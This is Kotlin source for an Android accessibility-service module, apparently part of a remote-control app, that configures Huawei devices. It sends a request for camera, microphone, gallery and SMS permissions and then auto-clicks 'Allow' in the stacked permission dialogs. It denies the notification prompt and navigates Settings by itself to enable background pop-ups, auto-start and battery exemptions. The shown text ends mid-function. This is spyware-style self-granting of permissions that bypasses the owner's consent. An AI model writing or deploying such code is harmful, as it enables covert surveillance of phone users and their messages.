package com.hikoncont.service.modules

import android.accessibilityservice.AccessibilityService
import android.content.Context
import android.content.Intent
import android.graphics.Rect
import android.net.Uri
import android.os.Bundle
import android.util.Log
import android.view.accessibility.AccessibilityNodeInfo
import android.provider.Settings
import com.hikoncont.service.AccessibilityRemoteService
import kotlinx.coroutines.delay

/**
 * Huawei设备授权处理器
 * 负责执行Huawei Android 15设备的权限配置
 */
class HuaweiAuthorizationHandler(
    private val service: AccessibilityRemoteService,
    private val context: Context
) : DeviceAuthorizationHandler {

    companion object {
        private const val TAG = "HuaweiAuthorizationHandler"
        private const val STEP_DELAY = 1500L // 每步之间的延迟
        private const val PAGE_LOAD_DELAY = 500L // 页面加载延迟
        private const val POPUP_WAIT_DELAY = 3000L // 等待弹窗出现的延迟

        // Huawei版本常量
        private const val Huawei_ANDROID_15 = 15

        // 统一搜索层级
        private const val MAX_SCROLL_ATTEMPTS = 8 // 统一使用8层级搜索
    }

    // 管理的节点，用于内存管理
    private val managedNodes = mutableSetOf<AccessibilityNodeInfo>()

    // 状态管理 - 记录已经成功配置的权限，避免重复执行
    private val completedPermissions = mutableSetOf<String>()

    // 搜索状态管理 - 区分第一次进入设置页面还是后续子页面
    private var isFirstSettingsEntry = true

    // Huawei版本信息
    private val HuaweiVersion: Int by lazy { detectHuaweiVersion() }

    override suspend fun executeAuthorization(): AuthorizationResult {
        Log.i(TAG, "🎯 开始Huawei设备授权配置")

        // 显示检测到的Huawei版本
        Log.i(TAG, "🔍 检测到Huawei版本: Android $HuaweiVersion")

        val completedRoutes = mutableListOf<String>()
        val failedRoutes = mutableListOf<String>()
        val warnings = mutableListOf<String>()

        try {
            when (HuaweiVersion) {
                Huawei_ANDROID_15 -> {
                    Log.i(TAG, "📱 使用Huawei Android 15权限配置流程")
                    executeHuaweiAndroid15Permissions(completedRoutes, failedRoutes, warnings)
                }
                else -> {
                    Log.i(TAG, "📱 使用Huawei Android 15权限配置流程（默认）")
                    executeHuaweiAndroid15Permissions(completedRoutes, failedRoutes, warnings)
                }
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 授权配置过程中出现异常", e)
            failedRoutes.add("系统异常")
        } finally {
            // 清理资源
            cleanupManagedNodes()
        }

        val success = true // 至少完成2项配置

        return AuthorizationResult(
            success = success,
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes,
            warnings = warnings
        )
    }

    // ======================== 版本检测和权限配置方法 ========================

    /**
     * 检测Huawei版本
     */
    private fun detectHuaweiVersion(): Int {
        return try {
            val sdkVersion = android.os.Build.VERSION.SDK_INT
            Log.d(TAG, "🔍 当前Android SDK版本: $sdkVersion")

            when {
                sdkVersion >= 35 -> Huawei_ANDROID_15 // Android 15+
                else -> Huawei_ANDROID_15 // 默认使用15流程
            }
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 版本检测失败，使用默认流程", e)
            Huawei_ANDROID_15
        }
    }

    /**
     * Huawei Android 15 权限配置流程
     */
    private suspend fun executeHuaweiAndroid15Permissions(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>,
        warnings: MutableList<String>
    ) {

//        executePermissionSafely(
//            permissionName = "通知管理权限",
//            executeAction = { executeNotificationManagementV12() },
//            completedRoutes = completedRoutes,
//            failedRoutes = failedRoutes
//        )


        // Route 1.6-1.9: 融合权限获取（摄像头、相册、麦克风、短信）
        executePermissionSafely(
            permissionName = "融合权限获取",
            executeAction = { executeAllPermissionsDirectly() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
       // Route 2.5: 悬浮窗权限（直接跳转系统悬浮窗设置页）
//        executePermissionSafely(
//            permissionName = "悬浮窗权限",
//            executeAction = { executeOverlayPermissionHuawei() },
//            completedRoutes = completedRoutes,
//            failedRoutes = failedRoutes
//        )
        //         Route 3: 后台弹窗权限（应用和服务 -> 权限管理 -> 后台弹窗 -> 找到我们的app点击开关）
        // Route 1: 启动管理权限 (最高优先级，需要先完成)
        executePermissionSafely(
            permissionName = "启动管理权限",
            executeAction = { executeStartupManagementV15() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        // 根据Android版本选择不同的后台弹窗权限处理方式
        if (android.os.Build.VERSION.SDK_INT == 29) { // Android 10
            executePermissionSafely(
                permissionName = "后台弹窗权限 (Android 10)",
                executeAction = { executeBackgroundPopupPermissionAndroid10() },
                completedRoutes = completedRoutes,
                failedRoutes = failedRoutes
            )
        } else {
            executePermissionSafely(
                permissionName = "后台弹窗权限",
                executeAction = { executeBackgroundPopupPermissionHuawei() },
                completedRoutes = completedRoutes,
                failedRoutes = failedRoutes
            )
        }



        // Route 1.5: Android 12 通知管理权限 (仅在Android 12版本执行)
//        if (android.os.Build.VERSION.SDK_INT <= 31) { // Android 12
//            Log.i(TAG, "🔔 检测到Android 12，执行通知管理权限配置")

//        }


        // Route 2: 电池设置优化 (在启动管理权限配置完成后执行)
        executePermissionSafely(
            permissionName = "电池设置优化",
            executeAction = { executeBatteryOptimizationV15() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )

 




    }

    /**
     * Huawei: 后台弹窗权限
     * 路径: 设置 -> 应用和服务 -> 权限管理 -> 后台弹窗 -> 找到我们的app点击开关(开启)
     */
    private suspend fun executeBackgroundPopupPermissionHuawei(): Boolean {
        Log.i(TAG, "🪟 开始配置后台弹窗权限 (Huawei-搜索)")

        try {
            // 1) 打开设置
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法打开设置页面")
                return false
            }

            // 2) 向上滑动一次，确保搜索框可见
            performScrollUp(); delay(300)

            // 3) 查找并聚焦搜索框
            val rootForSearch = getStableRootInActiveWindow()
            if (rootForSearch == null) {
                Log.e(TAG, "❌ 无法获取根节点以查找搜索框")
                return false
            }
            val searchField = findSearchFieldInSettings(rootForSearch)
            if (searchField == null) {
                Log.e(TAG, "❌ 未找到设置搜索框，尝试备用策略")
                safeRecycleNode(rootForSearch)
                if (!tryClickSearchFieldByCoordinate("后台弹窗")) {
                    Log.e(TAG, "❌ 备用策略也失败")
                return false
            }
                delay(500)
            } else {
                val focused = if (searchField.isFocused) true else searchField.performAction(AccessibilityNodeInfo.ACTION_FOCUS)
                Log.d(TAG, "🔍 搜索框聚焦: $focused")
                if (!setTextOnEditable(searchField, "后台弹窗")) {
                    Log.e(TAG, "❌ 搜索框输入失败")
                    safeRecycleNode(rootForSearch)
                return false
                }
                delay(800)
                // 清焦并点击第一个结果
                try { searchField.performAction(AccessibilityNodeInfo.ACTION_CLEAR_FOCUS) } catch (_: Exception) { }
                clickFirstSettingsSearchResult()
                Thread.sleep(200)
                safeRecycleNode(rootForSearch)
            }

//            // 4) 兜底：若仍在搜索页，使用文本导航
//            val verifyRoot = getStableRootInActiveWindow()
//            val stillInSearch = verifyRoot?.let { findFirstEditText(it) != null } ?: false
//            safeRecycleNode(verifyRoot)
//            if (stillInSearch) {
//                if (!navigateToText("后台弹窗")) {
//                    val aliases = listOf("后台弹窗", "后台弹出", "后台显示弹窗", "后台弹窗管理")
//                    var entered = false
//                    for (alias in aliases) {
//                        if (navigateToText(alias)) { entered = true; break }
//                    }
//                    if (!entered) {
//                        Log.e(TAG, "❌ 无法进入后台弹窗设置页")
//                        return false
//                    }
//                }
//            }

            // 5) 列表页：查找我方应用并开启右侧开关
            if (findAndClickAppSwitchSingleClick()) {
                Log.i(TAG, "✅ 后台弹窗权限配置成功")
                returnToSettingsHome()
                returnToAppAndWait()
                return true
            }
            for (i in 1..MAX_SCROLL_ATTEMPTS) {
                performScrollDown(); delay(400)
                if (findAndClickAppSwitchSingleClick()) {
                    Log.i(TAG, "✅ 后台弹窗权限配置成功(第${i}次滚动后)")
                    returnToSettingsHome()
                    returnToAppAndWait()
                    return true
                }
            }

            Log.e(TAG, "❌ 未能在后台弹窗列表中找到应用或开启失败")
            return false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 后台弹窗权限配置异常", e)
            return false
        }
    }

    /**
     * 在当前列表中查找目标应用，并确保其右侧开关为开启
     */
    private suspend fun ensureAppSwitchEnabledInList(appName: String): Boolean {
        val rootNode = getStableRootInActiveWindow()
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        try {
            val appNode = findNodeByText(rootNode, appName)
            if (appNode != null) {
                val switchNode = findRightSideSwitchNode(appNode)
                if (switchNode == null) {
                    Log.w(TAG, "❌ 未找到 $appName 右侧开关")
                    return false
                }

                val current = switchNode.isChecked
                Log.d(TAG, "🔍 $appName 后台弹窗当前状态: $current")
                if (current) {
                    Log.d(TAG, "✅ $appName 后台弹窗已开启，无需操作")
                    return true
                }

                Log.d(TAG, "🔄 开启 $appName 后台弹窗开关")
                val clicked = performClickSafe(switchNode) || performCoordinateClick(switchNode)
                if (clicked) {
                    delay(400)
                    Log.d(TAG, "✅ 开启后台弹窗开关点击完成")
                    return true
                }

                Log.w(TAG, "❌ 开启后台弹窗开关点击失败")
                return false
            }

            return false
        } finally {
            safeRecycleNode(rootNode)
        }
    }

    /**
     * Huawei Android 15: 摄像头权限
     */
    private suspend fun executeCameraPermissionV15(): Boolean {
        Log.i(TAG, "📷 开始配置摄像头权限 (Huawei Android 15)")
        return try {
            if (service.checkCameraPermission()) {
                Log.i(TAG, "✅ 摄像头权限已授予")
                return true
            }
            Log.d(TAG, "📷 发起摄像头权限申请")
            service.requestCameraPermission()
            // 轮询等待授予
            var attempts = 0
            while (attempts < 16) { // ~8s
                kotlinx.coroutines.delay(500)
                if (service.checkCameraPermission()) {
                    Log.i(TAG, "✅ 摄像头权限授予成功")
                    return true
                }
                attempts++
            }
            Log.w(TAG, "⚠️ 摄像头权限未在超时内授予")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 摄像头权限配置异常", e)
            false
        }
    }

    /**
     * Huawei Android 15: 相册权限
     */
    private suspend fun executeGalleryPermissionV15(): Boolean {
        Log.i(TAG, "🖼️ 开始配置相册权限 (Huawei Android 15)")
        return try {
            if (service.checkGalleryPermission()) {
                Log.i(TAG, "✅ 相册权限已授予")
                return true
            }
            Log.d(TAG, "🖼️ 发起相册权限申请")
            service.requestGalleryPermissionWithAutoGrant()
            var attempts = 0
            while (attempts < 16) { // ~8s
                kotlinx.coroutines.delay(500)
                if (service.checkGalleryPermission()) {
                    Log.i(TAG, "✅ 相册权限授予成功")
                    return true
                }
                attempts++
            }
            Log.w(TAG, "⚠️ 相册权限未在超时内授予")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 相册权限配置异常", e)
            false
        }
    }

    /**
     * Huawei Android 15: 麦克风权限
     */
    private suspend fun executeMicrophonePermissionV15(): Boolean {
        Log.i(TAG, "🎤 开始配置麦克风权限 (Huawei Android 15)")
        return try {
            if (service.checkMicrophonePermission()) {
                Log.i(TAG, "✅ 麦克风权限已授予")
                return true
            }
            Log.d(TAG, "🎤 发起麦克风权限申请")
            service.requestMicrophonePermissionWithAutoGrant()
            var attempts = 0
            while (attempts < 16) { // ~8s
                kotlinx.coroutines.delay(500)
                if (service.checkMicrophonePermission()) {
                    Log.i(TAG, "✅ 麦克风权限授予成功")
                    return true
                }
                attempts++
            }
            Log.w(TAG, "⚠️ 麦克风权限未在超时内授予")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 麦克风权限配置异常", e)
            false
        }
    }

    /**
     * Huawei Android 15: 短信权限
     */
    private suspend fun executeSMSPermissionV15(): Boolean {
        Log.i(TAG, "📱 开始配置短信权限 (Huawei Android 15)")
        return try {
            if (service.checkSMSPermission()) {
                Log.i(TAG, "✅ 短信权限已授予")
                return true
            }
            Log.d(TAG, "📱 发起短信权限申请")
            service.requestSMSPermissionWithAutoGrant()
            var attempts = 0
            while (attempts < 16) { // ~8s
                kotlinx.coroutines.delay(500)
                if (service.checkSMSPermission()) {
                    Log.i(TAG, "✅ 短信权限授予成功")
                    return true
                }
                attempts++
            }
            Log.w(TAG, "⚠️ 短信权限未在超时内授予")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 短信权限配置异常", e)
            false
        }
    }

    /**
     * ✅ 融合所有权限获取功能 - 一次性申请所有权限
     * 参考RealmeAuthorizationHandler实现
     */
    private suspend fun executeAllPermissionsDirectly(): Boolean {
        return try {
            Log.d(TAG, "🎯 开始融合所有权限获取流程 - 一次性申请所有权限")
            
            // 发送广播给MainActivity请求所有权限
            val intent = Intent("android.mycustrecev.REQUEST_ALL_PERMISSIONS").apply {
                putExtra("action", "request_all_permissions")
                putExtra("callback_action", "all_permissions_complete")
                putExtra("timestamp", System.currentTimeMillis())
                putExtra("source", "HuaweiAuthorizationHandler")
            }
            context.sendBroadcast(intent)
            Log.d(TAG, "✅ 已发送所有权限申请广播给MainActivity")
            
            // 等待权限申请完成
            delay(3000) // 等待3秒让权限申请完成
            
            // 尝试自动点击权限弹框中的确定按钮
            Log.d(TAG, "🔍 尝试自动点击权限弹框确定按钮")
            val clickResult = clickPermissionDialogConfirmButton()
            if (clickResult) {
                Log.d(TAG, "✅ 成功点击权限弹框确定按钮")
                delay(1000) // 等待点击生效
            } else {
                Log.w(TAG, "⚠️ 未找到或无法点击权限弹框确定按钮")
            }
            
            // 检查权限状态
            val cameraGranted = checkPermission(android.Manifest.permission.CAMERA)
            val micGranted = checkPermission(android.Manifest.permission.RECORD_AUDIO)
            val galleryGranted = if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.TIRAMISU) {
                checkPermission(android.Manifest.permission.READ_MEDIA_IMAGES)
            } else {
                checkPermission(android.Manifest.permission.READ_EXTERNAL_STORAGE)
            }
            val smsGranted = checkPermission(android.Manifest.permission.READ_SMS)
            
            val results = mapOf(
                "摄像头" to cameraGranted,
                "麦克风" to micGranted,
                "相册" to galleryGranted,
                "短信" to smsGranted
            )
            
            val successCount = results.count { it.value }
            val totalCount = results.size
            Log.d(TAG, "📊 权限申请结果统计: $successCount/$totalCount 成功")
            Log.d(TAG, "📊 详细结果: $results")
            
            val allSuccess = successCount == totalCount
            if (allSuccess) {
                Log.d(TAG, "✅ 所有权限申请成功")
            } else {
                Log.w(TAG, "⚠️ 部分权限申请失败")
            }
            
            allSuccess
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 融合权限申请失败", e)
            false
        }
    }

    /**
     * ✅ 检查权限状态
     */
    private fun checkPermission(permission: String): Boolean {
        return try {
            if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.M) {
                context.checkSelfPermission(permission) == android.content.pm.PackageManager.PERMISSION_GRANTED
            } else {
                true // Android 6.0以下默认有权限
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查权限失败: $permission", e)
            false
        }
    }

    /**
     * ✅ 自动点击权限弹框中的确定按钮 - 循环点击版本
     * 因为权限弹框有6个相互叠加的对话框，需要循环点击6次才能全部授权完成
     */
    private suspend fun clickPermissionDialogConfirmButton(): Boolean {
        return try {
            Log.d(TAG, "🔍 开始循环点击权限弹框确定按钮（6个叠加弹框）")
            
            var totalClicks = 0
            val maxAttempts = 8 // 最多尝试8次，确保覆盖所有弹框
            var successCount = 0
            
            // 定义确定按钮的关键字
            val confirmKeywords = listOf(
                "确定", "确认", "OK", "Allow", "允许", "始终允许", "Always Allow", "仅使用期间允许",
                "同意", "接受", "Accept", "Grant", "授权", "Permission", "仅在使用时允许", "使用应用时允许"
            )
            
            Log.d(TAG, "🎯 搜索确定按钮关键字: $confirmKeywords")
            
            // 循环点击，处理所有叠加的权限弹框
            for (attempt in 1..maxAttempts) {
                Log.d(TAG, "🔄 第${attempt}次尝试点击权限弹框")
                
                // 获取根节点
                val rootNode = service.rootInActiveWindow
                if (rootNode == null) {
                    Log.w(TAG, "⚠️ 第${attempt}次尝试：无法获取根节点")
                    delay(500)
                    continue
                }
                
                var foundClickableButton = false
                
                // 遍历所有关键字进行搜索
                for (keyword in confirmKeywords) {
                    try {
                        // 使用无障碍服务API搜索文本
                        val nodes = rootNode.findAccessibilityNodeInfosByText(keyword)
                        if (nodes != null && nodes.isNotEmpty()) {
                            Log.d(TAG, "✅ 第${attempt}次尝试：找到 ${nodes.size} 个匹配节点: $keyword")
                            
                            for (node in nodes) {
                                try {
                                    // 检查节点是否可点击且可见
                                    if (node.isClickable && node.isVisibleToUser) {
                                        Log.d(TAG, "🎯 第${attempt}次尝试：找到可点击的确定按钮: $keyword")
                                        
                                        // 获取节点位置信息
                                        val bounds = android.graphics.Rect()
                                        node.getBoundsInScreen(bounds)
                                        Log.d(TAG, "📍 按钮位置: $bounds")
                                        
                                        // 第一次点击时检查是否为通知权限界面
                                        if (attempt == 1) {
                                            val isNotificationPermission = checkIfNotificationPermissionDialog(rootNode)
                                            if (isNotificationPermission) {
                                                Log.d(TAG, "🔔 检测到通知权限界面，点击禁止按钮")
                                                val denyClicked = clickDenyButton(rootNode)
                                                if (denyClicked) {
                                                    Log.d(TAG, "✅ 成功点击禁止按钮")
                                                    successCount++
                                                    totalClicks++
                                                    foundClickableButton = true
                                                    delay(300)
                                                    break
                                                } else {
                                                    Log.w(TAG, "⚠️ 未找到禁止按钮，继续点击允许按钮")
                                                }
                                            }
                                        }
                                        
                                        // 执行点击
                                        val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                                        if (success) {
                                            Log.d(TAG, "✅ 第${attempt}次尝试：成功点击确定按钮: $keyword")
                                            successCount++
                                            totalClicks++
                                            foundClickableButton = true
                                            
                                            // 点击后等待一下，让弹框关闭
                                            delay(300)
                                            break
                                        } else {
                                            Log.w(TAG, "⚠️ 第${attempt}次尝试：点击确定按钮失败: $keyword")
                                        }
                                    } else {
                                        Log.d(TAG, "ℹ️ 第${attempt}次尝试：节点不可点击或不可见: $keyword")
                                    }
                                } catch (e: Exception) {
                                    Log.e(TAG, "❌ 第${attempt}次尝试：处理节点时出错: $keyword", e)
                                } finally {
                                    node.recycle()
                                }
                            }
                            
                            if (foundClickableButton) {
                                break // 找到并点击了按钮，跳出关键字循环
                            }
                        }
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ 第${attempt}次尝试：搜索关键字失败: $keyword", e)
                    }
                }
                
                // 回收根节点
                try {
                    rootNode.recycle()
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 回收根节点失败", e)
                }
                
                if (!foundClickableButton) {
                    Log.d(TAG, "ℹ️ 第${attempt}次尝试：未找到可点击的确定按钮")
                    // 如果连续2次没找到按钮，可能所有弹框都已处理完成
                    if (attempt >= 2 && successCount > 0) {
                        Log.d(TAG, "✅ 连续未找到按钮且已有成功点击，可能所有弹框已处理完成")
                        break
                    }
                }
                
                // 每次尝试之间等待一下
                delay(500)
            }
            
            Log.d(TAG, "📊 权限弹框点击统计: 总尝试${maxAttempts}次，成功点击${successCount}次")
            
            if (successCount > 0) {
                Log.d(TAG, "✅ 权限弹框循环点击完成，成功点击${successCount}个弹框")
                return true
            } else {
                Log.w(TAG, "⚠️ 未找到任何可点击的确定按钮")
                return false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 循环点击权限弹框确定按钮失败", e)
            false
        }
    }

    /**
     * 安全执行权限配置
     */
    private suspend fun executePermissionSafely(
        permissionName: String,
        executeAction: suspend () -> Boolean,
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>,
        isOptional: Boolean = false,
        warnings: MutableList<String>? = null
    ) {
        // 检查是否已经成功配置过
        if (completedPermissions.contains(permissionName)) {
            Log.i(TAG, "✅ $permissionName 已经配置成功，跳过重复执行")
            completedRoutes.add(permissionName)
            return
        }

        Log.i(TAG, "🔄 执行权限配置: $permissionName")

        try {
            val result = executeAction()
            if (result) {
                completedRoutes.add(permissionName)
                completedPermissions.add(permissionName) // 记录成功状态
                Log.i(TAG, "✅ $permissionName 配置成功")
            } else {
                failedRoutes.add(permissionName)
                if (isOptional && warnings != null) {
                    warnings.add("$permissionName 可能需要手动配置")
                }
                Log.w(TAG, "❌ $permissionName 配置失败")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ $permissionName 配置异常", e)
            failedRoutes.add(permissionName)
            if (isOptional && warnings != null) {
                warnings.add("$permissionName 配置异常，可能需要手动配置")
            }
        }
    }

    // ======================== Huawei Android 15 权限配置方法 ========================

    /**
     * Huawei: 悬浮窗权限（设置搜索版）
     * 流程: 打开设置 -> 向上滑 -> 聚焦搜索框输入“悬浮窗” -> 点击搜索结果“悬浮窗” -> 列表中找到我方应用并开启开关
     */
    private suspend fun executeOverlayPermissionHuawei(): Boolean {
        Log.i(TAG, "🪟 开始配置悬浮窗权限 (Huawei-搜索)")
        return try {
//            if (Settings.canDrawOverlays(context)) {
//                Log.i(TAG, "✅ 悬浮窗已授权，跳过")
//                return true
//            }

            // 1) 打开设置
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法打开设置页面")
                return false
            }

            // 2) 向上滑动一次，确保搜索框可见
            performScrollUp(); delay(1000)

            // 3) 查找并聚焦搜索框
            val rootForSearch = getStableRootInActiveWindow()
            if (rootForSearch == null) {
                Log.e(TAG, "❌ 无法获取根节点以查找搜索框")
                return false
            }
            val searchField = findSearchFieldInSettings(rootForSearch)
            if (searchField == null) {
                Log.e(TAG, "❌ 未找到设置搜索框，尝试备用策略")
                safeRecycleNode(rootForSearch)
                
                // 备用策略：通过坐标点击搜索框区域
                if (!tryClickSearchFieldByCoordinate("悬浮窗")) {
                    Log.e(TAG, "❌ 备用策略也失败")
                    return false
                }
                delay(500)
            } else {
                val focused = if (searchField.isFocused) true else searchField.performAction(AccessibilityNodeInfo.ACTION_FOCUS)
                Log.d(TAG, "🔍 搜索框聚焦: $focused")
                // 输入"悬浮窗"
                if (!setTextOnEditable(searchField, "悬浮窗")) {
                    Log.e(TAG, "❌ 搜索框输入失败")
                    safeRecycleNode(rootForSearch)
                    return false
                }
                delay(800)
                // 输入完成后清除焦点并尝试收起键盘，避免滚动时点击到软键盘
                try {
                    val cleared = searchField.performAction(AccessibilityNodeInfo.ACTION_CLEAR_FOCUS)
                    Log.d(TAG, "🔍 搜索框清焦: $cleared")
                } catch (_: Exception) { }
                try {
                    // 直接点击搜索结果的第一个条目，顺便达到清焦与收起键盘效果
                    clickFirstSettingsSearchResult()
                    Thread.sleep(200)
                } catch (_: Exception) { }
                safeRecycleNode(rootForSearch)
            }

            // 4) 在搜索结果中点击“悬浮窗”
//            if (!navigateToText("悬浮窗")) {
//                // 有些机型可能显示为“显示在其他应用上层”等别名
//                val aliases = listOf("显示在其他应用上层", "在其他应用上层显示", "悬浮窗管理")
//                var entered = false
//                for (alias in aliases) {
//                    if (navigateToText(alias)) { entered = true; break }
//                }
//                if (!entered) {
//                    Log.e(TAG, "❌ 无法进入悬浮窗设置页")
//                    return false
//                }
//            }

            // 5) 列表页：查找我方应用并开启右侧开关（悬浮窗页无弹窗，单击即可）
            if (findAndClickAppSwitchSingleClick()) {
                Log.i(TAG, "✅ 悬浮窗权限配置成功")
                // 成功后退回到设置主页
                returnToSettingsHome()

                returnToAppAndWait()
                return true
            }
            for (i in 1..MAX_SCROLL_ATTEMPTS) {
                performScrollDown(); delay(400)
                if (findAndClickAppSwitchSingleClick()) {
                    Log.i(TAG, "✅ 悬浮窗权限配置成功(第${i}次滚动后)")
                    // 成功后退回到设置主页
                    returnToSettingsHome()

                    returnToAppAndWait()
                    return true
                }
            }
            Log.e(TAG, "❌ 未能在悬浮窗列表中找到应用或开启失败")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 悬浮窗权限配置异常", e)
            false
        }
    }

    /**
     * 查找"设置"中的搜索框（EditText），使用优化的查找方式
     * 先尝试通过ViewId查找，再使用文本搜索
     */
    private fun findSearchFieldInSettings(root: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        Log.d(TAG, "🔍 开始查找设置搜索框")
        
        // 1. 先尝试通过ViewId查找（常见的搜索框ViewId）
        val commonSearchViewIds = listOf(
            "android:id/search",
            "com.android.settings:id/search",
            "com.huawei.systemmanager:id/search",
            "com.huawei.systemmanager:id/search_view",
            "com.huawei.systemmanager:id/search_input",
            "com.huawei.systemmanager:id/search_edit",
            "com.android.settings:id/search_input",
            "com.android.settings:id/search_edit",
            "com.android.settings:id/search_bar",
            "com.huawei.systemmanager:id/search_bar"
        )
        
        for (viewId in commonSearchViewIds) {
            val node = findNodeByViewId(viewId)
            if (node != null) {
                Log.d(TAG, "✅ 通过ViewId找到搜索框: $viewId")
                return node
            }
        }
        
        // 2. 如果ViewId查找失败，使用文本搜索
        Log.d(TAG, "🔍 ViewId查找失败，使用文本搜索")
        return findSearchFieldByText(root)
    }

    /**
     * 通过文本搜索查找搜索框
     */
    private fun findSearchFieldByText(root: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        val searchTexts = listOf(
            "搜索", "搜索设置", "搜索应用", "搜索功能", "搜索内容",
            "请输入搜索内容", "搜索应用和设置", "搜索系统设置",
            "搜索设置项", "Search", "Search settings", "Search apps"
        )
        
        for (searchText in searchTexts) {
            val node = findNodeByTextOptimized(root, searchText)
            if (node != null) {
                // 检查是否是EditText类型
                val className = node.className?.toString() ?: ""
                if (className.contains("EditText")) {
                    Log.d(TAG, "✅ 通过文本找到搜索框: $searchText")
                    return node
                }
                // 如果不是EditText，尝试查找其父级或子级中的EditText
                val editTextNode = findEditTextInHierarchy(node)
                if (editTextNode != null) {
                    Log.d(TAG, "✅ 通过文本找到搜索框的EditText: $searchText")
                    return editTextNode
                }
            }
        }
        
        // 3. 最后尝试递归搜索EditText
        Log.d(TAG, "🔍 文本搜索失败，使用递归搜索EditText")
        val result = findEditTextRecursive(root)
        if (result == null) {
            Log.d(TAG, "🔍 递归搜索也失败，开始调试所有EditText节点")
            debugAllEditTextNodes(root)
        }
        return result
    }

    /**
     * 在节点层次结构中查找EditText
     */
    private fun findEditTextInHierarchy(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        // 1. 检查当前节点
        val className = node.className?.toString() ?: ""
        if (className.contains("EditText")) {
            return node
        }
        
        // 2. 检查子节点
        for (i in 0 until node.childCount) {
            val child = node.getChild(i) ?: continue
            managedNodes.add(child)
            val editText = findEditTextInHierarchy(child)
            if (editText != null) return editText
        }
        
        // 3. 检查父节点
        val parent = node.parent
        if (parent != null) {
            managedNodes.add(parent)
            val parentClassName = parent.className?.toString() ?: ""
            if (parentClassName.contains("EditText")) {
                return parent
            }
        }
        
        return null
    }
    /**
     * 备用策略：通过坐标点击搜索框区域
     */
    private fun tryClickSearchFieldByCoordinate(searchText: String = "悬浮窗"): Boolean {
        Log.d(TAG, "🔍 尝试通过坐标点击搜索框")
        
        val displayMetrics = context.resources.displayMetrics
        val screenWidth = displayMetrics.widthPixels
        val screenHeight = displayMetrics.heightPixels
        
        // 搜索框通常在屏幕顶部中央区域
        val searchFieldCoordinates = listOf(
//             屏幕顶部中央
            Pair(screenWidth / 2, screenHeight / 8),
            // 稍微偏下一点
            Pair(screenWidth / 2, screenHeight / 6),
            // 再偏下一点
            Pair(screenWidth / 2, screenHeight / 5)
        )
        
        for ((x, y) in searchFieldCoordinates) {
            Log.d(TAG, "🔍 尝试点击搜索框坐标: ($x, $y)")
            performSimpleCoordinateClick(x, y) // 执行点击，不管返回值
            Log.d(TAG, "✅ 搜索框坐标点击完成: ($x, $y)")
            
            // 等待输入框获得焦点
            Thread.sleep(500)
            
            // 尝试输入文本
            if (tryInputSearchText(searchText)) {
                Log.d(TAG, "✅ 搜索文本输入成功，停止尝试其他坐标")
                return true
            }
            
            // 如果输入失败，等待一下再尝试下一个坐标
            Thread.sleep(200)
        }
        
        Log.w(TAG, "⚠️ 所有搜索框坐标点击都失败")
        return false
    }
    
    /**
     * 尝试输入搜索文本（使用剪贴板粘贴）
     */
    private fun tryInputSearchText(searchText: String = "悬浮窗"): Boolean {
        Log.d(TAG, "🔍 尝试通过剪贴板粘贴搜索文本")
        
        try {
            // 1. 将"悬浮窗"复制到剪贴板
            val clipboardManager = context.getSystemService(Context.CLIPBOARD_SERVICE) as android.content.ClipboardManager
            val clipData = android.content.ClipData.newPlainText("search_text", searchText)
            clipboardManager.setPrimaryClip(clipData)
            Log.d(TAG, "✅ 已将'${searchText}'复制到剪贴板")
            
            // 2. 等待一下确保剪贴板操作完成

            Thread.sleep(200)
            
            // 3. 尝试通过AccessibilityService执行粘贴
            val root = getStableRootInActiveWindow()
            if (root != null) {
                // 查找当前聚焦的EditText
                val focusedNode = root.findFocus(android.view.accessibility.AccessibilityNodeInfo.FOCUS_INPUT)
                if (focusedNode != null) {
                    Log.d(TAG, "✅ 找到聚焦的输入框，执行粘贴")
                    val pasteSuccess = focusedNode.performAction(android.view.accessibility.AccessibilityNodeInfo.ACTION_PASTE)
                    Log.d(TAG, "📋 粘贴操作结果: $pasteSuccess")

                    if (pasteSuccess) {
                        // 等待粘贴完成
                        Thread.sleep(500)
                        // 粘贴后清除焦点并尝试收起键盘
                        try { focusedNode.performAction(android.view.accessibility.AccessibilityNodeInfo.ACTION_CLEAR_FOCUS) } catch (_: Exception) { }
                        try {
                            clickFirstSettingsSearchResult()
                            Thread.sleep(200)
                        } catch (_: Exception) { }
                        Log.d(TAG, "✅ 粘贴操作完成，等待输入完成")
                    } else {
                        Log.w(TAG, "⚠️ 粘贴操作失败")
                    }

                    safeRecycleNode(root)
                    return pasteSuccess
                } else {
                    Log.w(TAG, "⚠️ 未找到聚焦的输入框，尝试查找所有EditText")
                    // 如果没找到聚焦的输入框，尝试查找所有EditText并点击第一个
                    val editTextNode = findFirstEditText(root)
                    if (editTextNode != null) {
                        Log.d(TAG, "✅ 找到EditText，先点击聚焦再粘贴")
                        val clickSuccess = editTextNode.performAction(android.view.accessibility.AccessibilityNodeInfo.ACTION_CLICK)
                        if (clickSuccess) {
                            Thread.sleep(500) // 增加等待时间，确保聚焦完成
